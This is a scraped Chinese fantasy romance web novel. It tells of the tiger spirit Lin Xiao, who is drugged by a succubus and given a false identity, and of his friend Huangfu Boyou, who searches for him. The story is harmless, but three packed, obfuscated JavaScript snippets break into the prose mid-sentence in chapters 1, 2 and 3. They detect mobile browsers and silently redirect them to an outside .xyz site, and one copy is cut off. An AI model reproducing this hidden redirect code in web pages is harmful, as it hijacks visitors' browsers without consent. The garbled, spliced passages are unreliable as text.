《我的大猫变成了狐狸怎么办》 1. 前缘 凤凰山,林啸正在竹林中练剑。 竹叶随着剑气聚成一个漩涡,涌起冲天的气浪,剑气回荡在群山环抱中,又随着持剑人挑刺挥扬,不停地变换形态,时而散若林间飘絮,时而又聚如纷飞的蜂群。 林啸已经快一百年没见过皇甫伯游了,他知道皇甫现在要冲击太乙金仙境后期境界,这百年时光要提前值班,以便日后调休。 林啸如今也是神人境后期境界,近百年来,没有合适的对手练剑,也时常感到寂寞。 仙道境界从高到低为大罗金仙,太乙金仙,天仙,地仙。而天仙又分为神人境、至人境、灵人境、真人境。大罗金仙寥寥可数、且俱为先天神祇。 因此,皇甫伯游若冲击太乙金仙后期境界成功,定然会震惊天界。而林啸虽然比不得好友皇甫伯游,却也是不折不扣的高手,故而在凡间修行这些年,鲜少遇到对手。 好在他是一个活泼开朗的人,在妖界广交朋友,又热心友善。时常遇到一些小妖上门求助,也顺手教训了许多为祸一方的妖魔。 林啸练剑时,剑气所到之处便是灵力感知范围。现在林啸的剑术已经出神入化,周围百里的风吹草动,都逃不过他的探查范围。 这时,一只三尾火狐狸来到凤凰山脚下。她刚刚化作一名红衣女子,还没开口,林啸就迎面出现在了红衣女子对面。 “胡彤儿,你找我有事?”林啸单手收住剑势,身后枫树上飘落的红叶却还是被剑气切割成两瓣。 胡彤儿正是这只三尾狐妖的名字,她是涂山旁支的狐妖一族,却因为灵力衰微、资质一般,现在只是三尾狐妖。 林啸原身是一只老虎,却十分喜欢小动物,所以在他眼里,毛茸茸的三尾火狐十分可爱。 胡彤儿二十年前被一只狼妖追杀时,逃到凤凰山附近,幸得林啸出手相救,才捡回一条性命。也多亏林啸赠予了几株千年灵草,胡彤儿才治好了家人被狼妖抓咬的伤痛。 胡彤儿望着林啸俊秀和善的面容,扑通一声跪下,抱拳道:“彤儿本不欲打扰林大哥,但请林大哥救命!” 林啸连忙扶起胡彤儿,又圆又大的眼睛里闪过一丝诧异,问道:“小狐狸你慢慢说,到底是怎么回事?” 胡彤儿眼含泪水,哽咽说道:“我们狐妖一族每年都要去涂山给族长庆寿。一个月前,我恰好因为贪嘴吃坏了肚子,所以爹娘和姐妹们去涂山没带我。可没想到,他们再也没回来。” “我刚开始还以为是今年寿宴丰盛,所以要多热闹几天,也就没在意。谁知三天后我病好了,他们还是未归。于是我就起身去了涂山,却没想到竟然看到涂山被一群妖魔占据了,他们不仅残杀我们狐妖一族,竟然还拿我们族人炼制丹药。” 胡彤儿说到这里,哽咽起来:“我……,我分明看到了大姐二姐的皮毛被挂在树上,五弟六弟和爹娘都被关进笼子里。求求林大哥,救救我的家人。” 胡彤儿双手揪着林啸的袖子,哭泣起来。 林啸闻言,十分生气,他尤为看不得狐狸这么可爱的小动物被人扒皮虐杀,于是蹙起秀气的眉头:“涂山狐妖一族的族长不是九尾狐么?按道理应当有天妖境后期修为,这次来的究竟是什么妖魔,竟然能……” 胡彤儿红着眼睛,停止抽泣,解释说道:“涂山有几位九尾狐长老不假,但听说是妖魔趁着寿宴下的毒,所以几位长老才遭了暗算。” 没想到这妖魔如此心狠歹毒,不过小狐狸是怎么知道这个秘密的?林啸明亮的眼睛里露出一丝犹疑:“小狐狸,妖魔下毒这件事,你是听谁说的?” 胡彤儿怔了片刻,顾不得哭泣,解释说道:“是有一只被妖魔夺取内丹后扔出去的族人说的,她恰好管后厨,我之前去伙房偷吃东西被她抓到过,因此认得她。” 林啸皱着眉点点头,似乎对此事的疑虑暂时打消了,他看着胡彤儿一副受惊担心的样子,于是笑了笑,白皙如玉的脸上露出两个酒窝,显得有几分纯真可爱。 林啸虽然是只虎妖,身材却算不上魁梧,相貌也不是英伟那一挂的。反而有些清瘦,气质也温润如玉,给人一种冰清玉洁的美玉之感。不过他本人一向自认为生得威风凛凛、英武霸气。 胡彤儿看着林啸笑起来,如同日照江河,月照旷野,饶是她见过众多涂山狐妖一族的绝美妖修,也不由得看地有些痴了。 “小狐狸莫急,林大哥这就回去拿些东西,你待在此地,我去去就回。”说完人就不见了。 林啸拿了些平日准备的丹药、法器、符咒,迟疑片刻,又给皇甫伯游留了张字条,用砚台压在桌子上,准备妥当之后,才匆匆飞去山下。 胡彤儿带着林啸,很快来到了涂山。可是刚踏进山洞,林啸就立即察觉到了不对劲儿。 这里不仅有魔修气息,狐妖的气息也很浓。按道理九尾狐修为最为高深,若被擒住,应当早就被炼化了才是,可林啸灵敏地感知到这洞中有不下三只九尾狐的气息。 “哈哈哈,没想到你这只小狐狸竟然如此能干,竟真能带来天境后期的修士。”一个娇媚又高亢的女声响起,随即洞口石门落下,四周禁制纹路生成,一位红衣女子现身在林啸面前。 “何方妖孽,竟敢算计我?”林啸拔出佩剑“霞光”,直指对方咽喉。 “呦,这性子够烈的呀。”红衣女子倏然越过长剑,出现在林啸身前一尺左右的距离。 林啸察觉到自己动作似乎被什么力量牵制了,刚刚拔剑的速度只有平时一半,料想是对方早有准备,已然布下了拖慢动作的阵法。 果不其然,林啸瞥见暗影处立着三个身影,气息强大,正是天境后九尾狐期妖修。 红衣女子单手挑起林啸的下巴,近乎贪婪地用目光描摹着林啸的五官:“啧啧,我还没见过这么漂亮的男子,小狐狸你找的人确实绝色。” 林啸不太习惯别人夸他容貌,尤其是他觉得自己原身老虎形态更好看一些,皱眉问:“你骗我过来,就是为了夸我长得好看?” “哈哈哈,你真是可爱。我都有点舍不得将你炼化了。”红衣女子说着,扫了一眼远远躲在暗处的胡彤儿,问林啸说:“你不恨那只小狐狸么?” “你拿小狐狸全家性命威胁她,她做出这种决定,我不怪她。”林啸回答说,随即重新横剑于身前:“况且,你也未必是我的对手!” “真是个善良的美人儿,别动粗嘛,你先听我讲一讲,也许就改变主意了。”那红衣女子盯着林啸的眼睛微微一笑,单手拂开了霞光剑。 “先自我介绍一下,我叫做少兰,是魔界的魅魔,天境后期,在魔界也算个不大不小的高手。本来我与其他人友善相处,井水不犯河水。可是,三十年前,焚风魔君杀了我的弟弟少衡。于是我离开魔界,发誓为阿衡报仇。” 林啸听到这里,诧异问道:“难道你想请我为你弟弟报仇?那焚风魔君什么修为?” “美人儿果真聪明,我都有点舍不得让你冒险了。”魅魔笑着摸了摸林啸的脸颊:“可惜那焚风魔君是神魔境后期修为,现下天狼又受了重伤,没人是他的对手。” “什么?神魔境后期?天狼又是谁?”林啸觉得这名字实在太像天琅大哥了,推开魅魔的手,惊异问道。 神魔境后期相当于仙道的太乙金仙后期,比林啸的天境后期高处许多。 “天狼是长老会会长,可惜长老会那帮人太过迂腐,打不过焚风魔君,也不想想其它办法。”魅魔叹息说,“所以我才不得已自己谋划。” 魅魔继续解释说:“而少衡就机变灵活多了,他临死之前,给焚风魔君种下一颗魅丹,所以只要有继承他魔力的人,去引诱焚风魔君,让焚风魔君爱上他,就有办法一举击杀焚风魔君。” 林啸紧皱眉头,感觉自己一时半会儿消化不过来魅魔的话。少衡的弟弟不是男子么?继承他魔力的应当也是男子才对,怎么……? 魅魔继续解释:“久闻九尾狐一族美貌,所以我来到涂山,只可惜那几个天境后期的狐妖太老了,而长得漂亮的年轻人境界又太低。多亏了小狐狸说她认识一个天境后期的美貌男子。” “本来我还没抱多大希望,可是一看到你,我就觉得你是我要找的人。”魅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514051|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔又要伸手抚摸林啸脸颊,却被林啸轻轻侧脸躲过。 “虽不知你用了什么手段让涂山一族听命于你,可你究竟让我做什么?又为何断定我会改变主意?”林啸问道。 “美人儿,你还不明白吗?”魅魔忍不住大笑起来,“我让你吞下阿衡的内丹,这样就继承了他的魔力,然后引诱焚风魔君爱上你,只要他动了心,魔功就会生出破绽,到时候定然有人能杀了他!” 林啸面露恍然之色:“原来焚风魔君竟然是女子。” “哈哈哈,小老虎你真可爱,我都不忍心将这么重的担子压在你身上了。”魅魔继续大笑。 林啸歪歪头看向对方,面露不解:“我不会因为你夸我便答应的,除了你们之间的恩怨,到底还有什么必须杀死焚风魔君的理由?” “这三天,我派人调查过你,你经常下山游历,惩强扶弱。一年前,外族屠戮陇西的百姓,你一剑杀死了操纵这群胡虏的妖魔。” “三年前,有妖魔四处抓凡间少女,为的就是采阴补阳,修炼魔功。你除掉背后妖魔,并且将洞中上百名女子护送回家。” “七年前,有恶鬼吸食人精魂,你驱除恶鬼,并给受害者喂下治病丹药。” “十一年前,有邪魔组成教派骗取凡人祭祀和香火,你烧毁邪庙,诛杀背后操纵祭祀的妖魔。” 魅魔说到这里,注意到林啸眼神中的诧异之色,问道:“你知不知道你降服的这些妖魔,如同草木逢霜一样,只是暂时枯萎,来年还会有新的冒出来。” 林啸皱眉:“为何?” 魅魔盯着林啸的眼睛说道:“因为上述妖魔,都受命于同一人——焚风魔君。” “他们就是听从焚风魔君指使,才祸害人间的。而且这些妖魔本来不是天境中后期修为,但因追随焚风魔君,通过各种邪门功法快速提高功力,才达到天魔境中后期境界。所以这些人杀了一批还会有下一批,除非焚风魔君死去。” 林啸提出质疑:“可是杀死焚风魔君,总归有其它办法。比如数名天境后期修士列阵,或许跟神魔境后期也有一战之力。” “哈哈哈。”魅魔笑道:“你能想到的,长老会自然也早就想到了。可惜又不是只有长老会能列阵,焚风魔君的手下也会。以前大家都试过,根本不管用。” 林啸还剑归鞘,皱眉说道:“可我并不会诱惑人,换个别的方式罢。” “小老虎,姐姐可以教你如何魅惑他人。”魅魔拿出一颗熠熠生辉的内丹,盯着林啸的眼睛,催动魅术说道:“你吞下这颗融合了狐妖法力的内丹,就能继承少衡的魔力,到时候后就知道怎么引诱焚风魔君了。” 林啸知与魅魔再无转圜余地,眼神一寒,周身灵力激荡,瞬间抽出“霞光”剑。剑鸣呼啸,携雷霆之势直刺魅魔。魅魔却轻蔑一笑,身姿似柳絮轻摆,轻易躲过。 一击未中,林啸迅速掏出符咒,灌注灵力后掷向四周。符咒光芒大盛,瞬间化作符文牢笼,将魅魔困于其中。林啸趁此时机,飞身再度刺去。 然而,变故突生!三道幽光从暗处射来,瞬间化作绳索,缠住林啸双手与腰身。原来是三位九尾狐长老骤然出手,林啸顿感巨力拉扯,攻势就此打断。 林啸不解,为何九尾狐会帮魅魔而不是自己! 魅魔周身魔力涌动,挣脱符文牢笼,款步向前,朱唇轻启:“小老虎,你有所不知,一个月前,涂山有上千名狐妖离奇失踪,幕后黑手正是那焚风魔君。如今这世道,乱像丛生,谁都难以置身事外。姐姐我这是在拉你一把,替你选了条康庄正途,你呀,该好好谢我才是。” 林啸不免愤懑,刚要张口大骂,魅魔却骤然欺身,强行塞来一颗丸药,旋即猛拍他后背。林啸喉间一紧,被迫将药咽下。 一不留神,竟然着了魅魔的道! 魅魔此时瞳色发红,开始催动魅术:“现在你叫做涂山桥,有狐妖和魅妖血统,将要卧底魔界,为我魅妖一族报仇。只有成功刺杀焚风魔君,你才能恢复记忆。” 林啸点点头,眼神涣散,随即内丹魔力运转,晕倒在魅魔怀中。 2. 初遇 皇甫伯游细长且骨节分明的手轻轻拈着纸笺,剑眉紧蹙,陷入了深深的沉思之中。 “伯游,我降妖伏魔去了,勿要挂念。” 林啸留下这行匆匆字迹后,便如同石沉大海,再无任何音讯传来。 恰逢这乱世之际,中原大地烽火连天,外族铁蹄肆虐。更有那妖魔操控的异族,将无辜的中土子民视为待宰的羔羊,肆意残杀、屠戮。皇甫伯游原本只是寻觅林啸,然而目睹妖魔将凡人如猎物般玩弄于股掌之间,自然无法坐视不管。 于是,在接下来的十年里,皇甫伯游孤身降妖伏魔,竟一连降服了一百零八洞妖魔。每一洞妖魔,皆实力强悍、修为不低于天境中期。 皇甫伯游敏锐地察觉到,这些妖魔皆与魔界脱不开干系,且背后有主谋操控。然而,被擒住的妖魔却都缄口不言,拒不吐露实情。无奈之下,皇甫伯游只得向自己的师父东华帝君呈上一份申牒,并将这些妖魔一一押解至度朔山,以备日后深入审问。 “皇甫上仙真是神通广大,此番又擒获了数位天魔,如今度朔山上的天魔数量已逾百人。”看守度朔山的寻木仙官见皇甫伯游再次带来几位天境妖魔,一边熟练地施展封印法咒,一边由衷地赞叹道,“皇甫上仙在百忙之中,仍不辞辛劳地穿梭于凡尘,诛杀那些祸乱苍生的妖魔,此等胸怀与担当,着实令人钦佩。” 皇甫伯游在天界身兼要职,两天执一个日夜班,十分辛苦,皇甫伯游还一口气上了一百个班不眠不休。得亏是太乙金仙中期境界,换做其他神仙,恐怕都要生出心魔了。 而且大多数仙人在歇班时,都会选择在自己的洞府中静养休息,鲜少有人愿意抽出时间去人间降妖伏魔。 皇甫伯游十年前值完一百个班,好不容易申请到了调休的机会,本打算借此良机,我全心冲击太乙金仙后期境界,突破修为。 然而,闭关之前,自然要当他去凤凰山看他的好友林啸。却不料只在桌案上发现了一张落满灰尘的纸笺。 望着这泛黄的纸笺,皇甫伯游满心忧虑,不敢细想,林啸到底失踪了多久。回想当初,几人一同前往雷泽秘境,林啸不慎跌落至混沌碎片中,被困长达一百多年,皇甫伯游心中涌起一股难以言喻的不安。 那时,东华帝君察觉到皇甫伯游常常形单影只,鲜有朋友相伴,且时常陷入沉思,眼神落寞,便深知这位爱徒心中思念着那位虎妖林啸。 为了缓解皇甫伯游的孤寂,东华帝君特意从瑶池讨了一只憨态可掬的小白老虎,交由皇甫伯游抚养,希望这只小生命的陪伴能给他带来慰藉。 有了小老虎的日夜相随,皇甫伯游的生活果然增添了不少乐趣,他的笑容也渐渐多起来。 然而,即便是在这看似欢愉的时光里,他仍会不时地轻叹,似乎心中那份对林啸的牵挂始终难以释怀。 东华帝君见状,便时常在闲暇之余,与皇甫伯游分享林啸通过传音石倾诉的近况。每当这个时候,皇甫伯游都会无比专注地聆听,生怕错过任何一个细节。 当听到林啸在另一端开玩笑时,他的嘴角会不自觉地微微上扬,眼中仿佛藏着整个星河。 然而这一次,皇甫伯游却无论如何也推测不出林啸的下落,即便是向师父东华帝君求助,帝君也只是无奈地摇了摇头。 皇甫伯游开始猜测,林啸或许是被困于某个秘境之中,或是被设有强大禁制的洞府囚禁,甚至有可能已经落入了魔界之手,最糟糕的是,他或许已经陨落。 无论是哪一种可能,都让皇甫伯游无法安心地冲击金仙境后期,他心下难安。 思及此,皇甫伯游向寻木仙官拱了拱手,满脸歉疚,低声说道:“惭愧!打扰仙官了。”言罢,他便欲转身离开,继续寻找林啸的线索。 可就在这时,寻木仙官却突然叫住了他:“皇甫上仙请留步,我这里有个东西,还想请上仙看一看是否认得……” 皇甫伯游闻言转身,目光落在寻木仙官手中轻轻晃动的两枚令牌之上。他身形一闪,瞬移至寻木仙官面前,急切地伸出了手。 “这枚紫府的令牌,虽已是废弃的旧款,但我总觉得还是需要请上仙辨认。”寻木仙官一边说着,一边小心翼翼地将令牌递到了皇甫伯游的手中。 这枚青铜令牌,乃是紫府过去通用的款式,其铸造数量极为有限,仅有几十枚而已,且大部分早已回收并换为新款。唯独林啸的那一枚,不知为何,迟迟未曾以旧换新。 皇甫伯游接过令牌,仔细端详着其上斑驳纹路,素来淡然自若的脸上,此刻竟也浮现出一丝惊慌。 “这是在哪里找到的?”他声音微微颤抖,眼神复杂,似乎在极力压抑着内心的波澜。 “这枚令牌是在魅妖的储物袋中发现的。”寻木仙官详细解释道,“按照惯例,在您将妖魔押入度朔山后,我们看守仙官会对其进行彻底的搜查。正是在这次搜查中,意外发现两块令牌。”说着,寻木仙官将另一块紫铜令牌也递到了皇甫伯游面前。 这块紫铜令牌花纹繁复,做工极为精致,其上缠绕着几种形态各异的凶兽纹路,中心位置则铭刻着三个篆体字——“焚天盟”。 皇甫伯游接过令牌,目光在这些神秘的纹路和字迹上徘徊,脸上露出疑惑之色:“焚天盟?这是个什么帮派?”他喃喃自语,心中涌起一股不祥的预感。 寻木仙官轻轻摇了摇头,神色凝重地说道:“这焚天盟的令牌,我们已经搜到了十几块,但奇怪的是,此前从未在任何典籍或传闻中听过这名字。这些妖魔口风极严,无论如何审问,都守口如瓶,不愿透露丝毫信息。不过,我和其他仙官都推测,这很可能是妖魔间的一个秘密盟会。从字面意思来看,他们莫非是想反上天界?” 皇甫伯游闻言,眉头紧锁,略作思忖后,他开口问道:“不知寻木仙官能否先将这令牌借予皇甫?我确有急用。” 寻木仙官点了点头,说道:“也行,不过按照规矩,你需要先在簿书上签个字,做个登记。” 皇甫伯游毫不犹豫地答应道:“好!”随即,他接过簿书和笔,迅速签下了自己的名字,并从寻木仙官手中接过了那两块令牌。 皇甫伯游告别了天界,腾云向人间的西北方向疾飞而去。他的心中有着明确的目标——甘州,那里正是三年前他降服魅妖的地方。 回想当日,那只魅妖的修为实在稀松平常,皇甫伯游轻而易举就将其擒拿。然而,若魅妖果真实力一般,又怎会成为魔界魅魔的? 不多时,来到甘州天马山,落下云头,便挥剑劈向石门。 “轰隆”一声巨响,石门猛然裂开,隐隐露出了深处的洞府。 洞门虽有上等法阵符咒守护,但对上太乙金仙境中期,在绝对的实力面前,再繁复的法术也如同蜉蝣撼树。 此时此刻,洞中。 “兰姐姐,门外是怎么回事?”一位红衣男子问道,他肤白如玉,眉目如画,五官精致,在洞中夜明珠的晖光照耀下,尤其显得如美玉一般漂亮。 魅魔杏眼圆睁,怒气冲冲地说道:“阿桥,就是那家伙,三年前就是他捣毁了我的洞府。当时我侥幸留下了一道分身才得以逃脱,没想到今日竟然又找上门。真是晦气!” 红衣男子面露诧异之色:“兰姐姐,此人有何神通?你我二人联手,还打不过他么?” 魅妖轻轻摇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不知这位大仙,为何要砸毁小妖的洞府?”对方的声音清脆悦耳,犹如泉水激荡溪石,又似清风摇曳竹林,听起来令人心旷神怡。然而,皇甫伯游心下诧异:这声音为何如此像阿啸? “你究竟是谁?”皇甫伯游目光如炬,紧紧盯着眼前的红衣男子,沉声问道,“我刚刚明明感知到了魅妖的气息,你把她藏到哪里去了?” 涂山桥轻轻一笑,语气中带着几分戏谑:“大仙说笑了,我与兰姐姐同属魅妖一族,自然气息相近。三年前,兰姐姐不幸被皇甫上仙押往天界,大仙如今反过来问我她的去处,岂不是有些颠倒黑白了吗?” “魅妖的弟弟早已死于焚风魔君手下,你究竟是何方神圣?”皇甫伯游剑尖微颤,直指红衣男子咽喉,语气中透露出一丝不容置疑的威严。 红衣男子见状,非但不惧,反而眼中闪过一丝兴奋,笑道:“看来大仙是觉得我可疑,非要动手较量一番了?不过,大仙的境界远高于我,咱们不妨先约法三章,只比试剑术,不施展法术,如何?” 皇甫伯游面色冷峻,毫不退让:“我此刻无暇与你比试。你究竟是何方神圣?为何你的身上既有魅妖的气息,又夹杂着涂山狐族的气息,修为更是达到了天境后期。涂山的九尾狐我皆有所耳闻,却从未听说过有你这么一号人物!” “上仙莫急,在下涂山桥,家父乃魅妖一族,家母则是涂山狐族,因此我身兼两族气息。”涂山桥轻笑着,并指夹住锋利的剑刃,“兰姐姐已不在,如今我便是魅妖一族的代表。但我从未伤害过人,更未曾妄杀无辜,也没有引诱过良家女子,上仙应该不会无端将我收服吧?” 皇甫伯游缓缓抽出长剑,又轻轻将其还入剑鞘,目光深邃地说道:“你既然敢在空手接住青阳剑时,坦然说出这番话,我便暂且信你。” 要知道,这青阳剑历经诸多战斗,斩杀妖魔无数,加之皇甫伯游法力高强,其威压足以令一般妖魔胆寒。通常情况下,任何妖魔在面对青阳剑的凛冽剑气逼近时,都不可能如此从容不迫地撒谎。更何况,眼前这位魅妖竟然能并指夹住剑刃,这份胆识与实力,绝非寻常之辈所能及。 3. 对饮 涂山桥闻言,微微一笑:“既然是个误会,来者是客,上仙不如坐下,陪在下小酌一杯,如何?” 皇甫伯游看涂山桥优雅地坐在桌案前,摇了摇银铃,便有侍女呈上酒菜。 “上仙为何不落座?莫非嫌寒舍简陋?”涂山桥问道。 “你还未回答我,身为一个天境后期修士,为何妖魔间此前并无你的传闻?”皇甫伯游质问。 涂山桥倒好两杯酒,递给皇甫伯游一杯,笑着解释:“小妖幼时身体不适,一直在魅妖隐居之地疗伤,十几年前,涂山狐族长老带来一粒灵丹,我才好转。” 魅妖一族隐居之地,据说在极北的罗刹谷,鲜为人知。这也是由于魅妖一族大多天生丽质,且善于迷惑人神智。当今中原大地妖魔横行,所以修为一般的魅妖出来,极其容易被厉害的妖魔掳去做炉鼎或侍妾。因此,魅妖族一直避世而居。 皇甫伯游轻轻点头,似乎对涂山桥的解释表示认可。他接过递来的酒杯,却在不经意间,被涂山桥轻轻掠过手指与手背。皇甫伯游性情孤僻,素来不喜与人亲近,尤反感那些无端的肢体接触。然而,面对涂山桥的触碰,他并未感到任何不适,反而心中涌起一股奇异的亲近感,仿佛有种想要更加贴近对方的冲动。 皇甫伯游猛地意识到这一点,剑眉紧蹙,心中暗自警觉:莫非这魅妖已经悄无声息地对他施展了魅术? 与此同时,涂山桥敏锐地捕捉到皇甫伯游端着酒杯却迟迟未饮的神情,以及眼神中流露出的一丝警惕。他的嘴角勾起一抹微妙的笑容,似乎对皇甫伯游的反应既在意料之中,又带着几分玩味。 “上仙可是担心这酒中下了毒?”涂山桥见状,嘴角微微上扬,随即一把夺过了皇甫伯游手中的酒杯,仰头一饮而尽。随后,他将自己那杯未曾沾唇的酒重新递给了皇甫伯游,以示清白。 皇甫伯游见状,也不好再推辞。他轻轻抿了一口,只觉一股清凉之意润过心田,仿佛连日来的疲惫都得到了些许缓解。 “次酒名为‘照月白’,是我故乡附近盛产的白色葡萄酿制而成,清甜爽口、芬芳馥郁,酒劲也温和,上仙不妨多喝几杯?”涂山桥笑吟吟说道。 皇甫伯游微微颔首,心里却想这么甜美的酒,阿啸定然喜欢。一想到阿啸,不知道对方毛发是不是打结了,换毛时有没有及时梳去旧毛,褪下的毛可以扎成许多可爱的毛毡…… 想着想着,心里没来由又是一阵酸楚,就将手中的酒饮完了。 涂山桥见状,连忙体贴地为皇甫伯游再次斟满了一杯。皇甫伯游不觉连饮数杯。 等到涂山桥摇铃时,才回过神来。 “什么?酒没了?不是还有好几坛么?”涂山桥训斥侍女说道,“酒都快完了,不知道提前去罗刹谷取?” “大王息怒,”侍女跪下求饶,支支吾吾开始解释:“一个时辰前还有八坛,实在是……实在是刚刚上仙斩断洞门和摧毁防护阵时动静太大,震碎了窖藏的酒坛。” “是贫道的错,莫要怪罪这位姑娘了。”皇甫伯游说道。 “那好吧,看在上仙面子上,饶了你,去取些果品来吧。”涂山桥说道。 等侍女走后,皇甫伯游质问:“这些侍女并非妖精,难不成都是三年前甘州失踪的凡间女子?” “上仙英明,这些凡间女子的父兄都被异族屠戮,您降服兰姐姐后,虽然还她们自由,可这些女子并无去处。所以她们当中许多人选择留下来,天资高的,可以修行。资质不足的,便在天马山周围织布为生。而留在洞中这些人,都是稍微有些根基的。”涂山桥解释说。 “更令人痛心的是,这些女子中不少已被妖魔烙下炉鼎印,她们一旦失去强者的庇护,命运将不堪设想。”涂山桥一边漫不经心地解释,一边从精致的果盘上轻巧地拈起一颗深红的樱桃,缓缓送入口中。 皇甫伯游面色凝重,沉声道:“原来如此,但魅妖少兰接连杀害数十位凡人官吏,罪孽深重,我实难轻易放她出来。” 涂山桥闻言,语气变得狠厉:“兰姐姐所诛杀的那些官吏,皆是些纵欲无度、虐杀姬妾之徒,或是视女子如牲畜般打杀,更有甚者,因妻妾生女而非儿便狠下毒手,乃至溺杀无辜女婴……这些人,其行为禽兽不如,死有余辜!” 皇甫伯游正色说道:“这些人虽恶行累累,但死后自有阴司审判,凡人弱小,根本无法抗衡神仙妖魔之力。若神仙妖魔擅自插手人间事,岂不会天下大乱?” 涂山桥闻言,撇了撇嘴,心中虽不愿承认,却也不敢轻易得罪皇甫伯游。于是,他胡乱抓起一把樱桃,一股脑儿地塞进嘴里,开始恶狠狠地咀嚼起来,仿佛要将心中的不满都发泄在这樱桃之上。 皇甫伯游本欲继续解释这些官吏身居要职,突然横死,只会使人间局势更加风雨飘摇、动荡不堪,到时候受苦的还是普通凡人。可看到涂山桥腮帮子鼓鼓囊囊地吃樱桃,不禁哑然失笑。 可皇甫伯游很快就笑不出来了。因为他看到,涂山桥似乎是因为吃到的樱桃发酸,被刺激得龇牙咧嘴起来。那表情动作,竟然与阿啸吃到酸东西时如出一辙。 皇甫伯游静静地凝视着涂山桥,只见他拿起一片青桐树叶,小心翼翼地接住吐出的樱桃果核,随后又慌忙抓起几块蜜饯塞进嘴里,企图用甜蜜的味道冲淡那酸涩。直到蜜饯在口中缓缓化开,他才察觉到皇甫伯游已经默默地注视了他许久。 “怎么了?上仙为何如此看着我?有何不妥之处吗?”涂山桥终于忍不住开口问道。 尽管隔着面具,皇甫伯游依然敏锐地捕捉到了对方眼神中的一丝尴尬。他微微一笑,轻声道:“无妨,只是你嘴角还沾着些果屑……” 说着,皇甫伯游从怀中取出一方洁白的手帕,缓缓伸向涂山桥,欲为其擦拭嘴角的樱桃果屑。 涂山桥见皇甫伯游突然靠近,身形不由自主地微微一僵。随即,他嘴角勾起一抹玩味的笑,轻轻握住皇甫伯游的手腕,声音柔和而带着一丝挑逗:“上仙,小妖方才被那酸樱桃刺激得眼泪都出来了,不如您也帮我擦擦眼睛如何?” 说完,涂山桥优雅地抬起另一只手,轻轻摘下面具,瞬间露出一张无比精致、宛如画卷中走出的眉眼。 他肤白如玉,眉目如画,五官精致,唇红若朱。这模样,与林啸有着几分相似,却又增添了几分难以言喻的魅惑与风情。皇甫伯游望着这张久违的熟悉面容,一时间竟怔然出神,仿佛回到了往昔。 然而,就在这片刻的恍惚之后,皇甫伯游心头猛地一颤,剑眉紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514053|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙,瞬间清醒过来。他倏然后退半步,身形快如闪电,手中长剑骤然出鞘,寒光一闪,直指涂山桥。 涂山桥一脸莫名其妙,但他反应敏捷,几乎是在皇甫伯游拔剑的同时,也抽出了一把乌黑发亮的长剑,稳稳地挡下了皇甫伯游的凌厉一击。 “你疯了吗?无怨无仇的,为何突然要取我性命?”涂山桥的语气中带着几分怒意和不解。 皇甫伯游继续挥剑猛攻,同时厉声质问道:“你为何要幻化成阿啸的模样?” 涂山桥闻言,更觉莫名其妙,他一边扬剑荡开皇甫伯游的攻势,一边高声解释道:“什么阿啸?我生来便是这副模样,从未变过!” “阿啸乃是我的挚友,若非有意为之,你方才为何要佩戴面具遮掩真容?”皇甫伯游缓缓收起了剑势,目光锐利地提出了质疑。 涂山桥狠狠地瞪了皇甫伯游一眼,没好气地解释道:“我天生擅长魅术,洞中那些侍女大多为凡人,根本经受不住我多看几眼。为了避免给她们带来不必要的困扰,这才遮住眉眼,好让她们少受些影响。” 皇甫伯游仔细打量着眼前这人,无论是模样还是性情,都与林啸有几分相似。突然,他注意到了对方手背上的一道淡淡红痕,心中一惊,想必是刚刚被自己剑气所伤。 “涂山公子,你受伤了,真是抱歉,方才是我鲁莽了。让我为你包扎一下吧。”皇甫伯游说着,已将长剑归鞘,并从怀中取出一方白帕,大步流星地走向涂山桥。 然而,他刚迈出几步,便在中途停了下了来。因为他惊讶地看到,涂山桥竟然伸出舌头,轻轻舔了舔手背上的血迹,那动作与皇甫伯游初见化形后的阿啸时,简直分毫不差。 “不劳上仙费心。”涂山桥含怒说道:“反正您身为太乙金仙境神仙,想杀我一个小妖,还不是易如反掌?” 皇甫伯游闻言,不禁轻轻叹息了一声,随后突然问道:“你说你十几年前重病初愈,那么在那之前的记忆,你还能回忆起多少?” 涂山桥的脸上露出了一丝茫然之色,他缓缓说道:“我也很奇怪,关于那之前的记忆,几乎是一片空白。我只记得好多族人被焚风魔君的手下掳走,衡哥哥为了救我们,去刺杀魔君,却不幸被他杀害。所以,我下定决心要苦修魅术,立志为衡哥哥和族人报仇。” “那么,你为何要选择苦修魅术?”皇甫伯游面露疑惑。 涂山桥紧紧抱着怀中的长剑,耐心地解释道:“因为焚风魔君乃是神魔境后期的绝顶高手,除非天上那几位大罗金仙亲自出手,否则几乎无人能够打败他。但大罗金仙受天道约束,不得直接插手世间因果,故而通过常规方式消灭焚风魔君几乎不可能。” “因此,衡哥哥在临终前拼死给魔君种下了魅丹。只要焚风魔君对一位魅妖族男子产生爱慕之情,他的魔功就会露出破绽,生出心魔,扰乱功境,导致经脉错乱。到那时,我们再纠集各路义士,一同将其诛杀,自然就容易许多。” “而十几年前,涂山狐族长老拿过来的救命丹药,便融合了衡哥哥的内丹和狐妖灵力。而我,作为当今魅妖族中唯一一位天境后期的男子,修炼魅术、刺杀焚风魔君,这份责任,我义不容辞。” 